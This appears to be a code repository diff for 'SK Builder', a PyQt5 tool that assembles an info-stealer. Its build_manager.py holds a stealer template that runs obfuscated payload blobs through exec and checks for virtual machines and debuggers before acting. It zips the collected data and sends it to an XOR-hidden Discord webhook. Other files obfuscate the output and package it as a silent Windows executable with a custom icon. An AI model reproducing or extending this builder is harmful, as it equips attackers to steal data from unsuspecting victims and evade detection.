Add files via upload
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
@@ -0,0 +1,2 @@
|
|||||||
|
download more here: https://icon-icons.com/
|
||||||
|
cirqueira love u <3
|
||||||
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 993 KiB |
|
After Width: | Height: | Size: 1.3 MiB |
@@ -0,0 +1,16 @@
|
|||||||
|
import sys, time
|
||||||
|
from PyQt5.QtWidgets import QApplication
|
||||||
|
from src.main_window import MainWindow
|
||||||
|
from src.pages.splash import SplashScreen
|
||||||
|
|
||||||
|
def main():
|
||||||
|
app = QApplication(sys.argv)
|
||||||
|
window = MainWindow()
|
||||||
|
splash = SplashScreen()
|
||||||
|
splash.start()
|
||||||
|
window.show()
|
||||||
|
sys.exit(app.exec_())
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,327 @@
|
|||||||
|
from src.functions.payload_manager import PayloadManager
|
||||||
|
from src.functions.tools import Tools
|
||||||
|
from collections import defaultdict
|
||||||
|
import os, subprocess, shutil
|
||||||
|
|
||||||
|
|
||||||
|
class BuildManager:
|
||||||
|
@staticmethod
|
||||||
|
def buildImports(selected_payloads: list) -> str:
|
||||||
|
grouped_from = defaultdict(set)
|
||||||
|
grouped_import = set()
|
||||||
|
|
||||||
|
for method in selected_payloads:
|
||||||
|
payload = PayloadManager.getPayload(method)
|
||||||
|
reqs = payload.get("requirements", [])
|
||||||
|
|
||||||
|
for req in reqs:
|
||||||
|
module = req["module"]
|
||||||
|
path = req["path"]
|
||||||
|
imp = req["import"]
|
||||||
|
|
||||||
|
if imp is None:
|
||||||
|
if path:
|
||||||
|
grouped_import.add(f"{module}.{'.'.join(path)}")
|
||||||
|
else:
|
||||||
|
grouped_import.add(module)
|
||||||
|
else:
|
||||||
|
base = module if not path else f"{module}.{'.'.join(path)}"
|
||||||
|
grouped_from[base].add(imp)
|
||||||
|
|
||||||
|
lines = []
|
||||||
|
|
||||||
|
for base, imports in grouped_from.items():
|
||||||
|
imports_str = ", ".join(sorted(imports))
|
||||||
|
lines.append(f"from {base} import {imports_str}")
|
||||||
|
|
||||||
|
if grouped_import:
|
||||||
|
imports_str = ", ".join(sorted(grouped_import))
|
||||||
|
lines.append(f"import {imports_str}")
|
||||||
|
|
||||||
|
final_text = "\n".join(lines)
|
||||||
|
|
||||||
|
return final_text
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def buildDefaultFunctions(webhook_url: str):
|
||||||
|
tempFile = "\ntemp_dir = tempfile.gettempdir()"
|
||||||
|
fileName = """\nzip_filename = os.path.join(temp_dir, "SK_"+''.join(random.choices(string.ascii_letters + string.digits, k=16)) + '.zip')"""
|
||||||
|
webhook = f'\nwebhook_raw = "{Tools.protect_webhook(webhook_url)}"\n'
|
||||||
|
final_text = tempFile + fileName + webhook +'\n'
|
||||||
|
return final_text
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def buildBlobFunction(selected_payloads: list):
|
||||||
|
funcs_blobs = {}
|
||||||
|
|
||||||
|
for method in selected_payloads:
|
||||||
|
if method == 'DefaultImports':
|
||||||
|
continue
|
||||||
|
payload = PayloadManager.getPayload(method)
|
||||||
|
name = payload["name"]
|
||||||
|
blob = payload.get("blob", "")
|
||||||
|
func = payload.get("func", None)
|
||||||
|
|
||||||
|
funcs_blobs[name] = {
|
||||||
|
"blob": blob,
|
||||||
|
"func": func
|
||||||
|
}
|
||||||
|
|
||||||
|
# Gerar texto Python bonitinho
|
||||||
|
lines = ["funcs_blobs = {"]
|
||||||
|
|
||||||
|
for name, data in funcs_blobs.items():
|
||||||
|
blob_repr = repr(data["blob"])
|
||||||
|
func_repr = repr(data["func"])
|
||||||
|
|
||||||
|
lines.append(f' {name!r}: {{ "blob": {blob_repr}, "func": {func_repr} }},')
|
||||||
|
|
||||||
|
lines.append("}\n")
|
||||||
|
|
||||||
|
return lines
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def buildStealer(part1, part2, part3):
|
||||||
|
C = part1 + part2 + ''.join(part3) + """
|
||||||
|
class CirqueiraLover:
|
||||||
|
@staticmethod
|
||||||
|
def de_webhook(webhook: str, chave: str = "CirqueiraAmaOEstadoDeSaoPaulo") -> str:
|
||||||
|
data = base64.urlsafe_b64decode(webhook.encode())
|
||||||
|
dec_webhook = ''.join(chr(b ^ ord(chave[i % len(chave)])) for i, b in enumerate(data))
|
||||||
|
return dec_webhook
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def loader(blob: str) -> str:
|
||||||
|
b =base64.b64decode(blob)
|
||||||
|
b=zlib.decompress(b)
|
||||||
|
c=marshal.loads(b)
|
||||||
|
return c
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def cleanup_file(filename: str) -> bool:
|
||||||
|
try:
|
||||||
|
if os.path.exists(filename):
|
||||||
|
os.remove(filename)
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except PermissionError as e:
|
||||||
|
print(e)
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def send_discord(webhook_url: str, file_path: str) -> bool:
|
||||||
|
messages = ["We got him >:D", "I bring good news!", "The rat fell into the trap!", "I have a delivery for you!"]
|
||||||
|
content = f"**• {random.choice(messages)}**"
|
||||||
|
|
||||||
|
embed = {
|
||||||
|
"title": "• Basic system infos:",
|
||||||
|
"color": 0xE53935,
|
||||||
|
"fields": [
|
||||||
|
{
|
||||||
|
"name": "Hostname:",
|
||||||
|
"value": f"```{socket.gethostname()}```",
|
||||||
|
"inline": True
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Username:",
|
||||||
|
"value": f"```{getpass.getuser()}```",
|
||||||
|
"inline": True
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Machine:",
|
||||||
|
"value": f"```{platform.machine()}```",
|
||||||
|
"inline": True
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "System:",
|
||||||
|
"value": f"```{platform.system()}```",
|
||||||
|
"inline": True
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Realease:",
|
||||||
|
"value": f"```{platform.release()}```",
|
||||||
|
"inline": True
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Version:",
|
||||||
|
"value": f"```{platform.version()}```",
|
||||||
|
"inline": True
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"footer": {
|
||||||
|
"text": "https://github.com/CirqueiraDev | @CirqueiraDev"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(file_path, "rb") as f:
|
||||||
|
files = {"file": (file_path, f)}
|
||||||
|
payload = {
|
||||||
|
"content": content,
|
||||||
|
"embeds": [embed]
|
||||||
|
}
|
||||||
|
|
||||||
|
r = requests.post(webhook_url, data={"payload_json": json.dumps(payload)}, files=files, timeout=20)
|
||||||
|
return r.status_code in (200, 204)
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def generateFile() -> bool:
|
||||||
|
safe = True
|
||||||
|
try:
|
||||||
|
with zipfile.ZipFile(zip_filename, 'w') as zip_file:
|
||||||
|
for name, info in funcs_blobs.items():
|
||||||
|
print(info["func"])
|
||||||
|
exec(CirqueiraLover.loader(info['blob']),globals())
|
||||||
|
func = globals()[info["func"]]
|
||||||
|
if info["func"] == '_is_vm_or_debugged' or info["func"] == '_startup':
|
||||||
|
result = func()
|
||||||
|
if result == True and info["func"] == '_is_vm_or_debugged':
|
||||||
|
print('detected')
|
||||||
|
safe = False
|
||||||
|
return safe
|
||||||
|
else:
|
||||||
|
print('startup:', result)
|
||||||
|
else:
|
||||||
|
result = func(zip_file)
|
||||||
|
return safe
|
||||||
|
except Exception as e:
|
||||||
|
print('failed generate: ', e)
|
||||||
|
safe = False
|
||||||
|
return safe
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
webhook_url = CirqueiraLover.de_webhook(webhook_raw)
|
||||||
|
if CirqueiraLover.generateFile() == True:
|
||||||
|
print('not detected or not error')
|
||||||
|
CirqueiraLover.send_discord(webhook_url, zip_filename)
|
||||||
|
CirqueiraLover.cleanup_file(zip_filename)
|
||||||
|
except:
|
||||||
|
print('failed main')
|
||||||
|
pass
|
||||||
|
"""
|
||||||
|
|
||||||
|
return C
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def buildFinal(compress: bool, webhook_url: str, selected_payloads: list, file_name: str, file_type: str, file_icon_path=None, log=None) -> bool:
|
||||||
|
def write(msg):
|
||||||
|
if log:
|
||||||
|
log(msg)
|
||||||
|
|
||||||
|
selected_payloads.append("DefaultImports")
|
||||||
|
|
||||||
|
write("[1/6] Building imports...")
|
||||||
|
part1 = BuildManager.buildImports(selected_payloads)
|
||||||
|
|
||||||
|
write("[2/6] Adding default functions...")
|
||||||
|
part2 = BuildManager.buildDefaultFunctions(webhook_url)
|
||||||
|
|
||||||
|
write("[3/6] Generating payload blobs...")
|
||||||
|
part3 = BuildManager.buildBlobFunction(selected_payloads)
|
||||||
|
|
||||||
|
write("[4/6] Building final stealer code...")
|
||||||
|
sk_code = BuildManager.buildStealer(part1, part2, part3)
|
||||||
|
|
||||||
|
write("[5/6] Obfuscating code...")
|
||||||
|
protected_code = Tools.obfuscate_code(sk_code, compress)
|
||||||
|
|
||||||
|
base_path = file_name
|
||||||
|
py_path = base_path + ".py"
|
||||||
|
|
||||||
|
write(f"→ Writing output: {py_path}")
|
||||||
|
with open(py_path, "w", encoding="utf-8") as f:
|
||||||
|
f.write(protected_code)
|
||||||
|
|
||||||
|
if file_type == "py":
|
||||||
|
write("✓ Build completed: .py generated successfully.")
|
||||||
|
return True
|
||||||
|
|
||||||
|
if file_type == "pyw":
|
||||||
|
write("Converting .py → .pyw")
|
||||||
|
pyw_path = base_path + ".pyw"
|
||||||
|
os.rename(py_path, pyw_path)
|
||||||
|
write("✓ Build completed: .pyw generated successfully.")
|
||||||
|
return True
|
||||||
|
|
||||||
|
if file_type == "exe":
|
||||||
|
write("Converting .py → .pyw")
|
||||||
|
pyw_path = base_path + ".pyw"
|
||||||
|
exe_path = base_path + ".exe"
|
||||||
|
os.rename(py_path, pyw_path)
|
||||||
|
|
||||||
|
write("Running PyInstaller...")
|
||||||
|
|
||||||
|
#write(f"→ Adding {len(part1 + '\n')} imports...")
|
||||||
|
|
||||||
|
with open(pyw_path, "w", encoding="utf-8") as f:
|
||||||
|
f.write(part1 + '\n' + '\n' + protected_code)
|
||||||
|
|
||||||
|
cmd = [
|
||||||
|
"pyinstaller",
|
||||||
|
"--noconfirm",
|
||||||
|
"--onefile",
|
||||||
|
"--noconsole",
|
||||||
|
]
|
||||||
|
|
||||||
|
if file_icon_path:
|
||||||
|
write(f"→ Adding icon: {file_icon_path}")
|
||||||
|
cmd.append(f"--icon={file_icon_path}")
|
||||||
|
|
||||||
|
cmd.append(pyw_path)
|
||||||
|
|
||||||
|
write("→ Starting PyInstaller process...")
|
||||||
|
try:
|
||||||
|
process = subprocess.Popen(
|
||||||
|
cmd,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
text=True,
|
||||||
|
bufsize=1,
|
||||||
|
universal_newlines=True
|
||||||
|
)
|
||||||
|
|
||||||
|
# Lê output em tempo real
|
||||||
|
for line in process.stdout:
|
||||||
|
line = line.strip()
|
||||||
|
if line:
|
||||||
|
write(f" {line}")
|
||||||
|
|
||||||
|
process.wait()
|
||||||
|
|
||||||
|
if process.returncode != 0:
|
||||||
|
write(f"✗ PyInstaller failed with code {process.returncode}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
write(f"✗ PyInstaller error: {str(e)}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
dist_generated = f"dist/{os.path.basename(base_path)}.exe"
|
||||||
|
|
||||||
|
if os.path.exists(dist_generated):
|
||||||
|
write("→ Moving final EXE to output folder...")
|
||||||
|
shutil.move(dist_generated, exe_path)
|
||||||
|
else:
|
||||||
|
write("✗ ERROR: EXE not generated by PyInstaller")
|
||||||
|
return False
|
||||||
|
|
||||||
|
write("→ Cleaning temporary files...")
|
||||||
|
if os.path.exists(pyw_path): os.remove(pyw_path)
|
||||||
|
shutil.rmtree("build", ignore_errors=True)
|
||||||
|
shutil.rmtree("dist", ignore_errors=True)
|
||||||
|
|
||||||
|
spec_file = os.path.basename(base_path) + ".spec"
|
||||||
|
if os.path.exists(spec_file):
|
||||||
|
os.remove(spec_file)
|
||||||
|
|
||||||
|
write("✓ Build completed: EXE generated successfully.")
|
||||||
|
return True
|
||||||
|
|
||||||
|
write("✗ ERROR: invalid file_type")
|
||||||
|
return False
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
from contextlib import suppress
|
||||||
|
import requests, base64, zlib, marshal
|
||||||
|
|
||||||
|
LOADER_TEMPLATE = '''
|
||||||
|
import base64, marshal{decompress_import}
|
||||||
|
a={b64!s}
|
||||||
|
b=base64.b64decode(a)
|
||||||
|
{maybe_decompress}
|
||||||
|
c=marshal.loads(b)
|
||||||
|
exec(c)
|
||||||
|
'''
|
||||||
|
|
||||||
|
class Bcolors:
|
||||||
|
HEADER = '\033[95m'
|
||||||
|
OKBLUE = '\033[94m'
|
||||||
|
OKCYAN = '\033[96m'
|
||||||
|
OKGREEN = '\033[92m'
|
||||||
|
WARNING = '\033[93m'
|
||||||
|
FAIL = '\033[91m'
|
||||||
|
RESET = '\033[0m'
|
||||||
|
BOLD = '\033[1m'
|
||||||
|
UNDERLINE = '\033[4m'
|
||||||
|
|
||||||
|
class Tools:
|
||||||
|
@staticmethod
|
||||||
|
def obfuscate_code(code_str: str, compress: bool = False):
|
||||||
|
code_obj = compile(code_str, "<string>", "exec")
|
||||||
|
data = marshal.dumps(code_obj)
|
||||||
|
|
||||||
|
if compress:
|
||||||
|
data = zlib.compress(data)
|
||||||
|
|
||||||
|
b64 = base64.b64encode(data).decode("ascii")
|
||||||
|
|
||||||
|
loader = LOADER_TEMPLATE.format(
|
||||||
|
b64=repr(b64),
|
||||||
|
decompress_import=", zlib" if compress else "",
|
||||||
|
maybe_decompress="b=zlib.decompress(b)" if compress else ""
|
||||||
|
)
|
||||||
|
return loader
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def protect_webhook(webhook: str, chave: str = "CirqueiraAmaOEstadoDeSaoPaulo") -> str:
|
||||||
|
xor_bytes = bytes([ord(c) ^ ord(chave[i % len(chave)]) for i, c in enumerate(webhook)])
|
||||||
|
return base64.urlsafe_b64encode(xor_bytes).decode()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_requirements(requirements):
|
||||||
|
missing = []
|
||||||
|
installed = []
|
||||||
|
for req in requirements:
|
||||||
|
try:
|
||||||
|
__import__(req.split(".")[0])
|
||||||
|
installed.append(req)
|
||||||
|
except ImportError:
|
||||||
|
missing.append(req)
|
||||||
|
return {"installed": installed, "missing": missing}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def send_webhook(url: str):
|
||||||
|
try:
|
||||||
|
data = {
|
||||||
|
"embeds": [
|
||||||
|
{
|
||||||
|
"title": "SK Builder",
|
||||||
|
"description": "\n**• Your webhook is working.**\n",
|
||||||
|
"color": 0xE53935,
|
||||||
|
"footer": {
|
||||||
|
"text": "https://github.com/CirqueiraDev | @CirqueiraDev"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
r = requests.post(url, json=data, timeout=5)
|
||||||
|
|
||||||
|
if r.status_code in (200, 204):
|
||||||
|
return True, "Valid Discord webhook!"
|
||||||
|
|
||||||
|
try:
|
||||||
|
err_json = r.json()
|
||||||
|
msg = err_json.get("message", "Unknown error")
|
||||||
|
except:
|
||||||
|
msg = f"HTTP {r.status_code}"
|
||||||
|
|
||||||
|
return False, msg
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
return False, str(e)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def ipwhois(ip: str):
|
||||||
|
with suppress(Exception), requests.get(f"https://ipwhois.app/json/{ip}/") as s:
|
||||||
|
return s.json()
|
||||||
|
return {"success": False}
|
||||||
@@ -0,0 +1,164 @@
|
|||||||
|
from PyQt5.QtWidgets import (
|
||||||
|
QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
|
||||||
|
QLabel, QPushButton, QFrame, QStackedWidget, QGraphicsOpacityEffect
|
||||||
|
)
|
||||||
|
from PyQt5.QtCore import Qt, QPoint, QPropertyAnimation, QEasingCurve
|
||||||
|
from PyQt5.QtGui import QFont, QIcon
|
||||||
|
from src.styles import MAIN_STYLE, SIDEBAR_STYLE, TOPBAR_STYLE, close_btn_style, control_btn_style
|
||||||
|
from src.pages.options_page import OptionsPage
|
||||||
|
from src.pages.builder_page import BuilderPage
|
||||||
|
|
||||||
|
class MainWindow(QMainWindow):
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.setWindowIcon(QIcon("./logos/sk_logo.png"))
|
||||||
|
self.setWindowTitle("SK Builder")
|
||||||
|
self.setGeometry(100, 50, 1100, 620)
|
||||||
|
self.setStyleSheet(MAIN_STYLE)
|
||||||
|
|
||||||
|
self.setWindowFlags(Qt.FramelessWindowHint)
|
||||||
|
self.setAttribute(Qt.WA_TranslucentBackground, False)
|
||||||
|
|
||||||
|
self.dragging = False
|
||||||
|
self.offset = QPoint()
|
||||||
|
|
||||||
|
main_widget = QWidget()
|
||||||
|
main_layout = QVBoxLayout()
|
||||||
|
main_layout.setContentsMargins(0, 0, 0, 0)
|
||||||
|
main_layout.setSpacing(0)
|
||||||
|
|
||||||
|
top_bar = self.create_top_bar()
|
||||||
|
|
||||||
|
body_layout = QHBoxLayout()
|
||||||
|
body_layout.setContentsMargins(0, 0, 0, 0)
|
||||||
|
body_layout.setSpacing(0)
|
||||||
|
|
||||||
|
self.sidebar = self.create_sidebar()
|
||||||
|
|
||||||
|
self.stack = QStackedWidget()
|
||||||
|
self.options_page = OptionsPage()
|
||||||
|
self.builder_page = BuilderPage(self.options_page)
|
||||||
|
|
||||||
|
self.stack.addWidget(self.options_page)
|
||||||
|
self.stack.addWidget(self.builder_page)
|
||||||
|
|
||||||
|
body_layout.addWidget(self.sidebar)
|
||||||
|
body_layout.addWidget(self.stack)
|
||||||
|
|
||||||
|
main_layout.addWidget(top_bar)
|
||||||
|
main_layout.addLayout(body_layout)
|
||||||
|
|
||||||
|
main_widget.setLayout(main_layout)
|
||||||
|
self.setCentralWidget(main_widget)
|
||||||
|
|
||||||
|
self.opacity = QGraphicsOpacityEffect(self)
|
||||||
|
self.setGraphicsEffect(self.opacity)
|
||||||
|
|
||||||
|
self.fade_anim = QPropertyAnimation(self.opacity, b"opacity")
|
||||||
|
self.fade_anim.setDuration(2000)
|
||||||
|
self.fade_anim.setStartValue(0)
|
||||||
|
self.fade_anim.setEndValue(1)
|
||||||
|
self.fade_anim.setEasingCurve(QEasingCurve.InOutQuad)
|
||||||
|
|
||||||
|
def create_top_bar(self):
|
||||||
|
top_bar = QFrame()
|
||||||
|
top_bar.setFixedHeight(35)
|
||||||
|
top_bar.setStyleSheet(TOPBAR_STYLE)
|
||||||
|
|
||||||
|
top_bar.mousePressEvent = self.topbar_mousePressEvent
|
||||||
|
top_bar.mouseMoveEvent = self.topbar_mouseMoveEvent
|
||||||
|
top_bar.mouseReleaseEvent = self.topbar_mouseReleaseEvent
|
||||||
|
|
||||||
|
top_layout = QHBoxLayout()
|
||||||
|
top_layout.setContentsMargins(15, 0, 10, 0)
|
||||||
|
top_layout.setSpacing(10)
|
||||||
|
|
||||||
|
icon_label = QLabel("😈")
|
||||||
|
icon_label.setStyleSheet("color: #ff4444; font-size: 16px;")
|
||||||
|
|
||||||
|
title = QLabel("SK Builder")
|
||||||
|
title.setFont(QFont("Segoe UI", 10, QFont.Bold))
|
||||||
|
title.setStyleSheet("color: #e0e0e0;")
|
||||||
|
|
||||||
|
version = QLabel("v0.2.5")
|
||||||
|
version.setStyleSheet("color: #666; font-size: 9px;")
|
||||||
|
|
||||||
|
top_layout.addWidget(icon_label)
|
||||||
|
top_layout.addWidget(title)
|
||||||
|
top_layout.addWidget(version)
|
||||||
|
top_layout.addStretch()
|
||||||
|
|
||||||
|
btn_minimize = QPushButton("🟡")
|
||||||
|
btn_close = QPushButton("🔴")
|
||||||
|
|
||||||
|
btn_minimize.setStyleSheet(control_btn_style)
|
||||||
|
btn_close.setStyleSheet(close_btn_style)
|
||||||
|
|
||||||
|
btn_minimize.clicked.connect(self.showMinimized)
|
||||||
|
btn_close.clicked.connect(self.close)
|
||||||
|
|
||||||
|
top_layout.addWidget(btn_minimize)
|
||||||
|
top_layout.addWidget(btn_close)
|
||||||
|
|
||||||
|
top_bar.setLayout(top_layout)
|
||||||
|
return top_bar
|
||||||
|
|
||||||
|
def topbar_mousePressEvent(self, event):
|
||||||
|
if event.button() == Qt.LeftButton:
|
||||||
|
self.dragging = True
|
||||||
|
self.offset = event.globalPos() - self.frameGeometry().topLeft()
|
||||||
|
|
||||||
|
def topbar_mouseMoveEvent(self, event):
|
||||||
|
if self.dragging:
|
||||||
|
self.move(event.globalPos() - self.offset)
|
||||||
|
|
||||||
|
def topbar_mouseReleaseEvent(self, event):
|
||||||
|
if event.button() == Qt.LeftButton:
|
||||||
|
self.dragging = False
|
||||||
|
|
||||||
|
def create_sidebar(self):
|
||||||
|
sidebar = QFrame()
|
||||||
|
sidebar.setFixedWidth(180)
|
||||||
|
sidebar.setStyleSheet(SIDEBAR_STYLE)
|
||||||
|
|
||||||
|
side_layout = QVBoxLayout()
|
||||||
|
side_layout.setContentsMargins(10, 20, 10, 20)
|
||||||
|
side_layout.setSpacing(5)
|
||||||
|
|
||||||
|
self.btn_options = QPushButton("Options")
|
||||||
|
self.btn_builder = QPushButton("Builder")
|
||||||
|
|
||||||
|
self.btn_options.setObjectName("active")
|
||||||
|
|
||||||
|
self.btn_options.clicked.connect(lambda: self.switch_page(0, self.btn_options))
|
||||||
|
self.btn_builder.clicked.connect(lambda: self.switch_page(1, self.btn_builder))
|
||||||
|
|
||||||
|
side_layout.addWidget(self.btn_options)
|
||||||
|
side_layout.addWidget(self.btn_builder)
|
||||||
|
side_layout.addStretch()
|
||||||
|
|
||||||
|
footer = QLabel("github.com/CirqueiraDev")
|
||||||
|
footer.setStyleSheet("color: #ff4444; font-size: 10px;")
|
||||||
|
footer.setAlignment(Qt.AlignCenter)
|
||||||
|
side_layout.addWidget(footer)
|
||||||
|
|
||||||
|
sidebar.setLayout(side_layout)
|
||||||
|
return sidebar
|
||||||
|
|
||||||
|
def switch_page(self, index, button):
|
||||||
|
for btn in [self.btn_options, self.btn_builder]:
|
||||||
|
btn.setObjectName("")
|
||||||
|
btn.setStyleSheet("")
|
||||||
|
|
||||||
|
button.setObjectName("active")
|
||||||
|
button.setStyleSheet(MAIN_STYLE)
|
||||||
|
|
||||||
|
self.stack.setCurrentIndex(index)
|
||||||
|
|
||||||
|
def show_message(self, message):
|
||||||
|
from PyQt5.QtWidgets import QMessageBox
|
||||||
|
QMessageBox.information(self, "Info", message)
|
||||||
|
|
||||||
|
def showEvent(self, event):
|
||||||
|
super().showEvent(event)
|
||||||
|
self.fade_anim.start()
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
from PyQt5.QtWidgets import QDialog, QVBoxLayout, QLabel, QPushButton, QTextEdit
|
||||||
|
from PyQt5.QtGui import QFont
|
||||||
|
from PyQt5.QtCore import Qt
|
||||||
|
|
||||||
|
class BuildLogBox(QDialog):
|
||||||
|
def __init__(self, parent=None):
|
||||||
|
super().__init__(parent)
|
||||||
|
self.setWindowFlags(self.windowFlags() & ~Qt.WindowContextHelpButtonHint)
|
||||||
|
self.setWindowTitle("Building...")
|
||||||
|
self.setFixedSize(450, 300)
|
||||||
|
self.setModal(True)
|
||||||
|
self.setStyleSheet("""
|
||||||
|
QDialog {
|
||||||
|
background-color: #111;
|
||||||
|
border: 1px solid #333;
|
||||||
|
}
|
||||||
|
QLabel {
|
||||||
|
color: #ff4444;
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
QTextEdit {
|
||||||
|
background-color: #000;
|
||||||
|
color: #0f0;
|
||||||
|
border: 1px solid #222;
|
||||||
|
font-family: Consolas, monospace;
|
||||||
|
font-size: 12px;
|
||||||
|
}
|
||||||
|
QPushButton {
|
||||||
|
background-color: #222;
|
||||||
|
border: 1px solid #444;
|
||||||
|
padding: 6px;
|
||||||
|
color: #ddd;
|
||||||
|
}
|
||||||
|
QPushButton:hover {
|
||||||
|
background-color: #333;
|
||||||
|
}
|
||||||
|
""")
|
||||||
|
|
||||||
|
layout = QVBoxLayout()
|
||||||
|
layout.setSpacing(10)
|
||||||
|
|
||||||
|
title = QLabel("Build Process")
|
||||||
|
title.setAlignment(Qt.AlignCenter)
|
||||||
|
title.setFont(QFont("Consolas", 12, QFont.Bold))
|
||||||
|
|
||||||
|
self.log_box = QTextEdit()
|
||||||
|
self.log_box.setReadOnly(True)
|
||||||
|
|
||||||
|
self.close_btn = QPushButton("Close")
|
||||||
|
self.close_btn.clicked.connect(self.close)
|
||||||
|
self.close_btn.setEnabled(False)
|
||||||
|
|
||||||
|
layout.addWidget(title)
|
||||||
|
layout.addWidget(self.log_box)
|
||||||
|
layout.addWidget(self.close_btn)
|
||||||
|
|
||||||
|
self.setLayout(layout)
|
||||||
|
|
||||||
|
def add_log(self, text: str):
|
||||||
|
self.log_box.append(text)
|
||||||
|
self.log_box.verticalScrollBar().setValue(
|
||||||
|
self.log_box.verticalScrollBar().maximum()
|
||||||
|
)
|
||||||
|
|
||||||
|
def finish(self):
|
||||||
|
self.add_log("\nBuild finished!")
|
||||||
|
self.close_btn.setEnabled(True)
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
from PyQt5.QtWidgets import (
|
||||||
|
QWidget, QVBoxLayout, QHBoxLayout, QLabel,
|
||||||
|
QLineEdit, QComboBox, QPushButton, QFileDialog
|
||||||
|
)
|
||||||
|
from PyQt5.QtCore import Qt, QTimer, pyqtSignal, QThread
|
||||||
|
from PyQt5.QtGui import QFont
|
||||||
|
from src.pages.build_box import BuildLogBox
|
||||||
|
from src.functions.build_manager import BuildManager
|
||||||
|
import threading
|
||||||
|
|
||||||
|
|
||||||
|
class BuildThread(QThread):
|
||||||
|
"""Thread separada para não travar a GUI durante o build"""
|
||||||
|
log_signal = pyqtSignal(str)
|
||||||
|
finished_signal = pyqtSignal(bool, str)
|
||||||
|
|
||||||
|
def __init__(self, compress, webhook_url, selected_payloads, file_name, file_type, file_icon_path):
|
||||||
|
super().__init__()
|
||||||
|
self.compress = compress
|
||||||
|
self.webhook_url = webhook_url
|
||||||
|
self.selected_payloads = selected_payloads
|
||||||
|
self.file_name = file_name
|
||||||
|
self.file_type = file_type
|
||||||
|
self.file_icon_path = file_icon_path
|
||||||
|
|
||||||
|
def log(self, msg):
|
||||||
|
"""Envia log para a GUI de forma segura"""
|
||||||
|
self.log_signal.emit(msg)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""Executa o build em background"""
|
||||||
|
try:
|
||||||
|
success = BuildManager.buildFinal(
|
||||||
|
compress=self.compress,
|
||||||
|
webhook_url=self.webhook_url,
|
||||||
|
selected_payloads=self.selected_payloads,
|
||||||
|
file_name=self.file_name,
|
||||||
|
file_type=self.file_type,
|
||||||
|
file_icon_path=self.file_icon_path,
|
||||||
|
log=self.log
|
||||||
|
)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
self.finished_signal.emit(True, "Build completed successfully!")
|
||||||
|
else:
|
||||||
|
self.finished_signal.emit(False, "Build failed!")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.log(f"\n✗ ERROR:\n{str(e)}")
|
||||||
|
self.finished_signal.emit(False, f"Build error: {str(e)}")
|
||||||
|
|
||||||
|
|
||||||
|
class BuilderPage(QWidget):
|
||||||
|
def __init__(self, options_page):
|
||||||
|
super().__init__()
|
||||||
|
self.options_page = options_page
|
||||||
|
self.selected_icon = None
|
||||||
|
self.build_thread = None
|
||||||
|
self.init_ui()
|
||||||
|
|
||||||
|
def init_ui(self):
|
||||||
|
main_layout = QVBoxLayout()
|
||||||
|
main_layout.setContentsMargins(30, 30, 30, 30)
|
||||||
|
main_layout.setSpacing(30)
|
||||||
|
|
||||||
|
title = QLabel("Build Configuration")
|
||||||
|
title.setFont(QFont("Segoe UI", 18, QFont.Bold))
|
||||||
|
title.setStyleSheet("color: #ff4444;")
|
||||||
|
|
||||||
|
form_layout = QVBoxLayout()
|
||||||
|
form_layout.setSpacing(25)
|
||||||
|
|
||||||
|
filename_layout = QVBoxLayout()
|
||||||
|
filename_layout.setSpacing(8)
|
||||||
|
filename_label = QLabel("File Name:")
|
||||||
|
filename_label.setStyleSheet("font-weight: bold; font-size: 13px;")
|
||||||
|
self.filename_input = QLineEdit()
|
||||||
|
self.filename_input.setPlaceholderText("Enter file name...")
|
||||||
|
self.filename_input.setMinimumHeight(40)
|
||||||
|
filename_layout.addWidget(filename_label)
|
||||||
|
filename_layout.addWidget(self.filename_input)
|
||||||
|
|
||||||
|
filetype_layout = QVBoxLayout()
|
||||||
